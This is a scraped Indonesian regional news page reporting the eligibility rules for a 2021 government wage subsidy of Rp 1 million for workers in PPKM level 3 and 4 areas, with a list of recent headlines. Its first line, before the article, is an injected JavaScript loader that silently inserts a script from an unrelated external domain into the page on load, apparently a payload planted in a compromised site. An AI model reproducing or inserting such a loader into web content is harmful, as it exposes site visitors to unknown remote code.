(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Aturan Terbit, Ini Syarat Buruh Dapat Bantuan Subsidi Gaji Rp 1 Juta


KANALKALIMANTAN.COM, JAKARTA– Kementerian Ketenagakerjaan telah menerbitkan aturan resmi tentang pemberian bantuan subsidi gaji. Aturan itu tertuang dalam Peraturan Menteri Ketenagakerjaan Nomor 16 Tahun 2021.

Dalam aturan tersebut tertuang dalam pasal 3 ayat yang menjelaskan pekerja atau buruh yang akan mendapatkan bantuan ini harus memenuhi beberapa persyaratan:

Baca juga: “Rumah Makan Gratis” Senin-Jumat di Banjarbaru, Ini Lokasinya

1. Warga negara Indonesia yang dibuktikan dengan kepemilikan nomor induk kependudukan
2. Peserta aktif program jaminan sosial ketenagakerjaan BPJS Ketenagakerjaan sampai dengan bulan Juni 2021
3. Mempunyai Gaji/Upah paling banyak sebesar Rp 3,5 juta per bulan
4. Bekerja di wilayah pemberlakuan pembatasan kegiatan masyarakat level 3 dan level 4 yang ditetapkan oleh pemerintah sebagaimana tercantum dalam Lampiran I yang merupakan bagian tidak terpisahkan dari Peraturan Menteri ini
5. Diutamakan yang bekerja pada sektor usaha industri barang konsumsi, transportasi, aneka industri, properti dan real estate, perdagangan dan jasa kecuali jasa pendidikan dan kesehatan, sesuai dengan klasifikasi data sektoral di BPJS Ketenagakerjaan.

 

 

Baca juga: Suplai dari Pusat Lambat, Capaian Vaksinasi Daerah Rendah

Dalam pasal 3B disebutkan bahwa bantuan subsidi gaji ini diprioritaskan juga bagi pekerja atau buruh yang belum menerima program kartu prakerja, program keluarga harapan, atau program bantuan produktif usaha mikro.

Sekadar informasi bantuan subsidi upah 2021 ini diberikan sebesar Rp 500 ribu/per bulan. Bantuan itu diberikan dalam 2 bulan yang dicairkan sekaligus, atau buruh akan mendapatkan langsung Rp 1 juta.

Bantuan subsidi gaji 2021 akan menyasar kepada 8,8 juta pekerja non esensial yang terpaksa dirumahkan bukan terkena PHK.
Pemerintah sendiri telah menyiapkan alokasi dana Rp 8,8 triliun untuk bantuan subsidi gaji bagi para pekerja yang berada di wilayah PPKM level 3 dan 4. (detik/das)

Editor: cell


Desy Arfianty

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

2 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

6 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

9 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

24 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

1 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

1 hari ago

This website uses cookies.